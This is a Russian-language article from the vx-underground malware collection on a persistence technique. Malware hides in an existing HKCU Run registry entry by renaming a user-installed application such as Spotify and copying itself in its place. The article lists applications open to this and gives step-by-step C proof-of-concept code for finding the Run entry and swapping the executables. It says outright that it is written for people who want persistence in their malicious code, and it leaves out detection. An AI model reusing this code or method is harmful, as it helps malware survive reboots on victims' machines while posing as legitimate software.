Маскировка малвари в ключе реестра HKCU RUN

коллекция vx-underground // авторы: smelly__vx и Ethereal

[часть 0 серии статей про закрепление в ОС от vx-underground]

Введение:

В августе 2020, я разговаривал, с нашим другом Hexacorn, про техники закрепления малвари в ОС. Hexacorn насчитал более 100 уникальных методов, которые потенциально могут использоваться злоумышленниками. К сожалению, он не описал их программную реализацию и/или Proof-of-Concept. Но спасибо ему, он дал нам возможность продемонстрировать их для людей, кто хочет использовать техники закрепления в своем вредоносном коде. Данная серия статей преследует две цели: провести ревизию методов, описанных Hexacorn и критически взглянуть на неоригинальные методы закрепления, которые можно увидеть in the wild.

Наша первая статья продемонстрирует технику закрепления, которую не так часто можно увидеть in the wild. Ее смысл в том, чтобы скрывать свои вредоносные намерения на самом видном месте и/или прикидываться легитимным HCKU Run ключом. Я детально покажу, что метод не является чем-то сверхъестественным. Хотя, он и не так широко используем. Обычно, мы видим, что авторы малвари создают новые ключи в реестре, нежели используют существующие.

- smelly

О чем будет говориться в статье?

В статье будет краткий обзор ключа HCKU Run и как программно перехватить существующий run ключ, чтобы скрыть свои вредоносные действия. Вдобавок, мы перечислим список широко используемых приложений, подходящих для атаки, так как они вносят изменения в пользовательскую часть реестра (HKCU мы HKLM).

Наша программная реализация написана на C и использует Windows API.

Известные проблемы: PoC в статьей использует Spotify, как цель. PoC не полностью маскирует ключ. В идеале, как только ключ будет перехвачен, наш вредоносный код должен запустить Spotify, при запуске системы. В нашем случае он просто вызывает MessageBoxA. Также, ярлык на рабочем столе будет невалидным. Он будет указывать на вредоносный бинарник, поэтому иконка будет отсутствовать. Окончательная реализация должна принять во внимание этот факт и все правильно скорректировать.

Чего не будет в статье:

Хотя реестр Windows крайне интересная штука, мы не будем описывать его архитектуру. Мы также не будем сравнивать эту технику с другими, которые будут описаны в последующих частях серии.

Мы не будем приводить примеры того, как эта техника детектируется антивирусами/может быть реверснута.

Самый распространенный способ закрепления:

Без сомнений, самый распространенный способ закрепления, а также самый очевидный, происходит в ветке HKEY_CURRENT_USER. HKEY_CURRENT_USER, как можно понять из имени - это ветка реестра предназначена для текущего пользователя. Чтение или запись в нее обычно не требует админских прав, поэтому любое пользовательское приложение может делать это очень просто. Для приложения, вносить изменения в эту ветку, является обыденным, рядовым действием. Приложения добавляются в автозагрузку здесь:

```
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
```

Для техники, описываемой в статье, мы должны принять во внимание фундаментальную проблему с правами на папки в Windows и папки, куда устанавливаются приложения. В некоторых случаях, приложения (например NordVPN), устанавливаются в:

```
C:\Program Files\NordVPN\NordVPN.exe
```

Для создания папок по этому пути требуются админские права. Несмотря на это, некоторые установщики приложений, такие как Spotify, используют следующую директорию:

```
C:\Users\%User%\AppData\Roaming\Spotify\Spotify.exe
```

Проблема в том, что вредоносные приложения могут писать и читать в эту папку. Это позволяет вредоносному приложению либо замаскироваться в существующем Run ключе в HKEY_CURRENT_USER, либо перехватить их, **назвав вредоносное приложение Spotify.exe** и переименовать легитимное.

```
C:\Users\%User%\AppData\Roaming\Spotify\Spotify.exe ActualSpotify.exe
```

Несмотря на то, что у малвари есть возможность программно спарсить уязвимые ключи реестра, мы, ради интереса, начали исследовать какие приложения хранят свои данные в %APPDATA%, а не в Program Files/(x86).

Приложения, уязвимые в перехвату:

Имя приложения	**Версия**	**Имя подраздела реестра**	**Значение**
Amazon Music	7.13.0.2210	Amazon Music	%LOCALAPPDATA%\Amazon Music\Amazon Music.exe
Microsoft Teams	1.3.00.19173	com.squirrel.Teams.Team	%LOCALAPPDATA%\Microsoft\Teams\Update.exe
Discord	0.0.308	Discord	%LOCALAPPDATA%\Discord\app-0.0.307\Discord.exe
One Drive	20.143.*	One Drive	%LOCALAPPDATA%\Microsoft\OneDrive\OneDrive.exe
Spotify	1.1.42.622	Spotify	%APPDATA%\Spotify\Spotify.exe
Slack	4.9.0	com.squirrel.slack.slack	%LOCALAPPDATA%\slack\slack.exe
Flock	2.2.430	Flock	%LOCALAPPDATA%\Flock\Flock.exe
Toggl Track	N/A	TogglDesktop	%LOCALAPPDATA%\TogglDesktop\TogglDesktop.exe

Код:

PoC содержит много кода по работе со строками. Многие функции здесь предназначены, для проверки путей к приложению или их конструированию.

1. Определяем, замаскировано ли наше приложение под Spotify. Если подстроки Spotify нет, вызываем функцию MasqueradeSpotifyKey. Иначе, вызываем MessageBoxA.

```
WCHAR wModulePath[WCHAR_MAXPATH] = { 0 };

if (GetModuleFileNameW(NULL, wModulePath, WCHAR_MAXPATH) == 0)
    goto FAILURE;

if (wcsstr(wModulePath, L"Spotify") == NULL) {

    if (MasqueradeSpotifyKey() != ERROR_SUCCESS)
        goto FAILURE;
} else
    MessageBoxA(NULL, "", "", MB_OK);
```

2. Открываем ветку HKEY_CURRENT_USER по пути *Software\Microsoft\Windows\CurrentVersion\Run.* Запрашиваем права KEY_ALL_ACCESS. Хотя, единственные требуемые права доступа для этого PoC - **KEY_QUERY_VALUE** и **KEY_ENUMERATE_SUB_KEYS.** Да, мы могли явно запросить права для ключа Spotify (*Software\Microsoft\Windows\CurrentVersion\Run\Spotify)*, но мы хотели продемонстрировать динамический подход.

```
WCHAR wRegistryPath[WCHAR_MAXPATH] =
L"Software\\Microsoft\\Windows\\CurrentVersion\\Run";

HKEY hKey = NULL, hHive = HKEY_CURRENT_USER;

BOOL bFlag = FALSE;

dwError = (LRESULT)RegOpenKeyExW(hHive, wRegistryPath, 0, KEY_ALL_ACCESS, &hKey);

if (dwError != ERROR_SUCCESS)
    goto FAILURE;
```

3. Проходимся по всем записям в Run. Мы решили ограничиться числом 256. На каждой итерации мы вызываем RegEnumValueW, используем **LPDWORD lpType**, в качестве 6 параметра, чтобы определить, имеет ли

полученное значение тип REG_SZ. Если нет, то продолжаем цикл дальше. Иначе, мы конвертируем полученный BYTE массив в WCHAR и вызываем wcsstr, чтобы определить, содержит ли она строку Spotify. В этом случае, мы устанавливаем BOOLEAN флаг в TRUE. Мы используем его в качестве сигнала успешности завершения цикла.

```
for (; dwError < 256; dwError++) {

    DWORD dwReturn = 0, lpType = 0, dwValueSize = WCHAR_MAXPATH, dwDataSize =
WCHAR_MAXPATH; BYTE lpData[WCHAR_MAXPATH] = { 0 };

    WCHAR wString[WCHAR_MAXPATH] = { 0 };
    WCHAR lpValue[WCHAR_MAXPATH] = { 0 };
    dwReturn = (LSTATUS)RegEnumValueW(hKey, dwError, lpValue, &dwValueSize,
NULL, &lpType, lpData, &dwDataSize);

    if (dwReturn != ERROR_SUCCESS && dwError != ERROR_NO_MORE_ITEMS)
        goto FAILURE;

    if (lpType != REG_SZ)
        continue;

    swprintf(wString, L"%ws", lpData);

    if (wcsstr(wString, L"Spotify") != NULL) {
        bFlag = TRUE;
        break;
    }
}

if (!bFlag) {
    SetLastError(ERROR_FILE_NOT_FOUND);
    goto FAILURE;
}
```

4. Логика следующего кода проста. В начале, переименовываем **Spotify.exe** в **RealSpotify.exe**, вызвав MoveFile. Потом переименовываем наш вредоносный файл и перемещаем его в папку Spotify, вызвав CopyFile. Если все прошло удачно, мы освобождаем ресурсы функцией RegCloseKey.

```
if (GetEnvironmentVariableW(L"APPDATA", wModulePath, WCHAR_MAXPATH) ==
0)
    goto FAILURE;
```

```
wcscat(wModulePath, L"\\Spotify\\Spotify.exe");

if (GetEnvironmentVariableW(L"APPDATA", wNewPath, WCHAR_MAXPATH) == 0)
goto FAILURE;

 wcscat(wNewPath, L"\\Spotify\\RealSpotify.exe");

if (!MoveFile(wModulePath, wNewPath))
goto FAILURE;

ZeroMemory(wModulePath, WCHAR_MAXPATH);
ZeroMemory(wNewPath, WCHAR_MAXPATH);

if (GetModuleFileNameW(NULL, wModulePath, WCHAR_MAXPATH) == 0)
goto FAILURE;

if (GetEnvironmentVariableW(L"APPDATA", wNewPath, WCHAR_MAXPATH) == 0)
goto FAILURE;

wcscat(wNewPath, L"\\Spotify\\Spotify.exe");

if (!CopyFile(wModulePath, wNewPath, TRUE))
goto FAILURE;

if (hKey) RegCloseKey(hKey);
return ERROR_SUCCESS;
```

5. Если в нашем коде произошла ошибка, мы безопасно выходим, прыгая на метку FAILURE. В ней мы проверяем, валиден ли наш HANDLE. Если да, то мы его закрываем функцией RegCloseKey.

```
FAILURE:

    dwError = GetLastError();

    if (hKey)
        RegCloseKey(hKey);

return dwError;

}
```